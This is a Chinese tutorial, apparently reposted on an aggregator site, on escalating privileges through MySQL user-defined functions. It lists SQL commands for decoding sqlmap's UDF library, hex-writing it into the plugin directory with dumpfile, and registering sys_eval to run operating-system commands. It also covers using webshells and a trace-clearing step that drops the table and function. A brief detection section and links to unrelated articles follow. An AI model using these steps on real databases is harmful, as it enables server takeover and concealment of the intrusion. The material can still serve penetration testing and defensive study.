Mysql-UDF提權

UDF(User Defined Function) 是用戶自定義函數,是 MySQL 支持的一種機制,可以通過 C語言寫動態鏈接庫(.so / .dll),然后讓 MySQL 調用這些函數,調用方式與一般系統自帶的函數相同,例如user(),version()等函數。

前置條件

  1. 當前用戶已經拿到 MySQL 的權限(通常是 root)
  2. MySQL 進程運行權限較高(如 root
  3. 文件寫入權限plugin_dir 目錄)
  4. 可以使用 CREATE FUNCTION 創建函數(有 CREATE 權限)

UDF 利用思路:

  1. 編寫一個惡意的 C 語言動態庫文件(比如 libudf.so
  2. 利用 SQL 將該庫文件寫入 MySQL 插件目錄
  3. 通過 CREATE FUNCTION 注冊惡意函數(如 sys_exec
  4. 調用該函數來執行系統命令(比如創建 SUID shell、添加用戶等)

版本特性

udf提權操作中的一個步驟是將我們的udf文件上傳到mysql的檢索目錄中,Windows系統下mysql各版本的檢索目錄有所不同:

  1. Mysql < 5.0

導出路徑隨意

  1. 5.0 <= Mysql < 5.1

Win2000導出路徑: C:/Winnt/udf.dll

其他Windows系統導出路徑均為:C:/Windows/udf.dll或C:/Windows/system32/udf.dll

  1. Mysql >= 5.1

Mysql安裝目錄的lib\plugin文件夾下,如果mysql安裝時不選擇完整安裝或使用集成開發環境等情況下lib\plugin目錄大概率是不存在的,需要自行創建

UDF文件位置

  1. sqlmap中:sqlmap\data\udf\mysql
  2. metaspliot中:/usr/share/metasploit-framework/data/exploits/mysql

操作步驟

1. 查看可導出文件位置

show variables like '%secure%';

2. 查看當前數據庫用戶權限

select * from mysql.user where user = substring_index(user(), '@', 1)\G;

3. 確實 mysql 安裝位置

select @@basedir as basePath from dual ;

4. 通過主機版本及架構確認 mysql 位數

show variables like '%basedir%';

5. 查看數據庫版本,判斷udf文件寫入位置

select version()

6. 當 mysql 大于 5.1 版本

查看 plugin 目錄

  • 存在lib\plugin目錄且有webshell時,直接上傳udf文件
  • 存在lib\plugin目錄但沒有webshell時,則需要以16進制編碼寫入udf文件

首先將對應版本的udf文件進行16進制編碼(sqlmap中的udf文件為防止誤殺默認是經過異或編碼的,需先使用sqlmap自帶的腳本解碼)

python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_

然后 16 進制編碼 udf 文件

select hex(load_file('C:\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\lib_mysqludf_sys_32.txt';

將16進制編碼后的 udf 文件使用 dumpfile 函數寫入磁盤(outfile導出文件會在末尾寫入新行且轉義換行符,破壞二進制文件結構,dumpfile不會進行任何操作)

然后隨便選一個數據庫創建一個表并將二進制數據插入到十六進制編碼流

(如果在低版本系統環境下(win2003)或部分特殊環境使用mysql命令提示符進行提權操作,由于不同環境下的mysql命令提示符可輸入字符最大長度不同(win2003為8191,win10系統為65535),無法使用dumpfile一次性寫入全部16進制字符,則需要將udf文件的16進制編碼字符先進行切割,再拼接寫入到一個表中,最后導出到目標系統

注意:在進行16進制數據切割時,每段字符的長度要為4的倍數,2進制轉為16進制使用取四合一法,如果位數不夠會在最高位補0,補0后會破壞原始二進制文件的文件結構導致利用失敗,這也是很多人此方法復現失敗的原因。)

然后導出表中數據到系統磁盤

select data from udf into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";
  • 查看 plugin 目錄,不存在 lib\plugin目錄但有webshell,可使用webshell創建lib\plugin目錄
  • 查看 plugin 目錄,不存在 lib\plugin目錄也沒有webshell,那就沒辦法了

7. Mysql 小于 5.1 版本時

  • 有 webshell 時,通過 webshell
  • 無 webshell 時,使用 dumpfile 通過 16 進制數據流寫入 udf 文件

8. 創建命令執行函數

使用winhex打開udf文件,在最下方可以看到udf文件提供的函數。

sys_eval,執行任意系統命令,并將輸出返回。

sys_exec,執行任意系統命令,并將退出碼返回(無命令執行結果回顯)。

create function sys_eval returns string soname 'udf.dll';

命令執行:

select sys_eval("whoami");

痕跡清除

1、刪除表

drop table udf;

2、刪除函數

drop function sys_eval;

檢測與應急響應思路

  • 查看 mysql.func 表中是否有可疑函數:
SELECT * FROM mysql.func;
  • 檢查 plugin 目錄是否存在異常 so 文件
ls -l /usr/lib/mysql/plugin/
  • 審查 auditd 日志是否有寫入 so 文件的記錄

---

Linux 環境下的 udf 提權大概率只存在與靶場環境中,原因:

在 Linux 嚴格的系統權限下,mysql 用戶或 web 用戶無 plugin 目錄的寫入權限

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/90414.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/90414.shtml
英文地址,請注明出處:http://en.pswp.cn/web/90414.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

車規級CANFD芯片在汽車車身控制方案中的應用解析

摘要&#xff1a;隨著汽車電子技術的不斷發展&#xff0c;汽車車身控制系統對信息傳輸的效率、可靠性及抗干擾能力等要求日益提高。車規級CANFD芯片作為一種先進的通信芯片&#xff0c;憑借其高速率、高可靠性以及強大的抗干擾能力&#xff0c;成為汽車車身控制系統中的關鍵組件…

docker desktop 訪問 https://registry-1.docker.io/v2/ 報錯問題解決

win11 docker desktop 配置國內鏡像加速器 1、win11管理員運行powershell notepad "$env:APPDATA\Docker\config.json"2、配置以下內容保存 {"registry-mirrors": ["https://hub-mirror.c.163.com","https://docker.mirrors.ustc.edu.cn&qu…

LLaMA-Factory微調教程1:LLaMA-Factory安裝及使用

文章目錄 環境搭建 LLaMA-Factory 安裝教程 模型大小選擇 環境搭建 Windows系統 RTX 4060 Ti(16G顯存) python 3.10 cuda=12.6 cudnn torch== 2.7.1+cu126 torchvision==0.22.1+cu126 torchaudio== 2.7.1+cu126 PS C:\Users\18098> nvidia-smi Tue Jul 22 01:52:19 2025 +…

Oracle數據庫索引性能機制深度解析:從數據結構到企業實踐的系統性知識體系

一、數據檢索的根本問題與索引產生的必然性 1.1、數據檢索的本質挑戰 在理解Oracle索引的性能優勢之前&#xff0c;必須回到數據檢索的根本問題。當面對海量數據時&#xff0c;傳統的線性搜索&#xff08;Sequential Search&#xff09;面臨著不可調和的性能瓶頸。這種瓶頸源于…

c#面向對象程序設計

一、面向對象與面向過程的核心區別&#xff08;概念鋪墊&#xff09;代碼背景開篇對比了兩種編程范式&#xff1a;面向過程&#xff08;PP&#xff09;&#xff1a;按步驟分解問題&#xff08;如 “輸入長→輸入寬→計算面積”&#xff09;&#xff1b;面向對象&#xff08;OOP…

Kylin V10 4070安裝nvidia驅動+CUDA+docker安裝

目錄 1.系統版本信息 2.安裝nvidia驅動 3.CUDA安裝 4.docker離線安裝 1.系統版本信息 查看一下系統版本&#xff0c;命令為&#xff1a; cat /etc/kylin-release2.安裝nvidia驅動 編輯/usr/lib/modprobe.d/dist-blacklist.conf文件 blacklist nvidiafb加#號注釋掉 添加…

首家!數巔AskBI通過中國信通院數據分析智能體專項測試

近日&#xff0c;在中國信息通信研究院組織的數據分析智能體&#xff08;Data Agent&#xff09;專項測試中&#xff0c;數巔生成式分析智能體AskBI順利完成專項測試的全部內容。《數據智能體技術要求》標準及測試簡介中國信通院云計算與大數據研究所依托中國通信標準化協會大數…

一些Avalonia與WPF內容的對應關系和不同用法

UIElement、FrameworkElement和ControlWPFAvaloniaUIElementControlFrameworkElementControlControlTemplatedControl在 WPF 中&#xff0c;通過繼承 Control 類來創建新的模板控件&#xff0c;而在 Avalonia 中&#xff0c;從 TemplatedControl 繼承。在 WPF 中&#xff0c;通…

【REACT18.x】CRA+TS+ANTD5.X封裝自定義的hooks復用業務功能

模擬react中的hooks方法&#xff0c;實現自定義的hooks來封裝我們需要重復使用的組件&#xff0c;來優化代碼。這種hooks也是利用了react的原生hooks來實現我們需要的特定業務&#xff0c;可以返回任何我們需要的值&#xff0c;也可以不返回值&#xff0c;作為一個副作用方法使…

Vue CSR 到 Nuxt 3 SSR 遷移:技術實現與問題解決實錄

1. 遷移動機與技術選型1.1 CSR 架構的局限性 基于 Vue 3 和 Vite 構建的客戶端渲染 (CSR) 單頁應用 (SPA) 提供了良好的開發體驗和用戶交互流暢性。但是其核心局限在于&#xff1a;搜索引擎優化 (SEO)&#xff1a;初始 HTML 響應僅包含一個根 div 元素&#xff0c;實際內容由 J…

FastGPT + Kymo:解鎖企業專屬知識庫與智能體開發新體驗

在信息爆炸的時代&#xff0c;企業如何讓知識“活起來”&#xff1f;傳統文檔庫和搜索框早已無法滿足需求。FastGPT——基于RAG技術的開源知識庫系統&#xff0c;正重新定義企業級知識管理&#xff01; 一、FastGPT是什么&#xff1f; FastGPT是企業構建專屬知識庫的智能核心…

人形機器人_雙足行走動力學:Maxwell模型及在擬合肌腱特性中的應用

一、Maxwell模型及其在擬合肌腱特性中的應用Maxwell模型是經典的粘彈性力學模型之一&#xff0c;由彈簧&#xff08;彈性元件&#xff09;和阻尼器&#xff08;粘性元件&#xff09;串聯組成。其在生物力學領域的應用主要聚焦于材料的動態響應&#xff08;如應力松弛和蠕變&…

「iOS」——KVC

源碼學習iOS底層學習&#xff1a;KVC 底層原理一、核心 API 與功能特性**常用方法**KVC 設值 底層原理KVC 取值 底層原理自定義KVC設值取值**特性&#xff1a;無隱私訪問****原理**四、多元應用場景1. **動態數據處理**&#xff08;1&#xff09;字典轉模型&#xff08;2&#…

【Lucene】leafreadercontext邏輯段與segment物理磁盤段的關系

在 Lucene 中&#xff0c;“葉子段”&#xff08;LeafReaderContext&#xff09;和 “segment”&#xff08;物理段&#xff09;在 Lucene 語境下&#xff0c;LeafReaderContext ≈ segment 的運行時只讀視圖。概念 所在層次 含義 是否一一對應 segment 物理存儲層 Lucene 索引…

Python進階第三方庫之Matplotlib

應用Matplotlib的基本功能實現圖形顯示 應用Matplotlib實現多圖顯示 應用Matplotlib實現不同畫圖種類 1、什么是Matplotlib是專門用于開發2D圖表(包括3D圖表) 以漸進、交互式方式實現數據可視化 2、為什么要學習Matplotlib可視化是在整個數據挖掘的關鍵輔助工具&#xff0c;可以…

【深度解析】從AWS re_Invent 2025看云原生技術發展趨勢

2025 年 6 月 28 日 在科技浪潮持續翻涌的當下&#xff0c;云原生技術已然成為推動企業數字化轉型與創新發展的關鍵力量。而 AWS re:Invent 作為云計算領域一年一度的盛會&#xff0c;向來是展示前沿技術、洞察行業趨勢的重要舞臺。在今年的 AWS re:Invent 2025 大會上&#xf…

高亮標題里的某個關鍵字正則表達式

使用v-html渲染&#xff0c;寫一個高亮方法<span class"title-name" v-html"highlightKeywords(name, keywords)"></span>這里傳入的name帶了文件拓展名&#xff0c;所以先把名稱從文件名里提取出來// 高亮標題顏色highlightKeywords(name, ke…

視頻編解碼中colorspace,color_range,color_trc,color_primaries,是做什么用的,是誰來指定的

在視頻編解碼中&#xff0c;colorspace&#xff08;色彩空間&#xff09;、color_range&#xff08;色域范圍&#xff09;、color_trc&#xff08;傳輸特性&#xff09;、color_primaries&#xff08;原色&#xff09;是一組色彩相關元數據&#xff0c;它們共同決定了視頻的顏色…

【QT】 Qt背景介紹與概述

文章目錄&#x1f4dd;Qt背景介紹&#x1f320; 什么是Qt&#x1f309;Qt的發展史&#x1f320; Qt?持的平臺&#x1f309; Qt版本&#x1f309; Qt的優點&#x1f309; Qt的應?場景&#x1f320; Qt的成功案例&#x1f320; Qt的發展前景及就業分析&#x1f6a9;總結&#x…

如何將擁有的域名自定義鏈接到我的世界服務器(Minecraft服務器)

關于Dynadot Dynadot是通過ICANN認證的域名注冊商&#xff0c;自2002年成立以來&#xff0c;服務于全球108個國家和地區的客戶&#xff0c;為數以萬計的客戶提供簡潔&#xff0c;優惠&#xff0c;安全的域名注冊以及管理服務。 Dynadot平臺操作教程索引&#xff08;包括域名郵…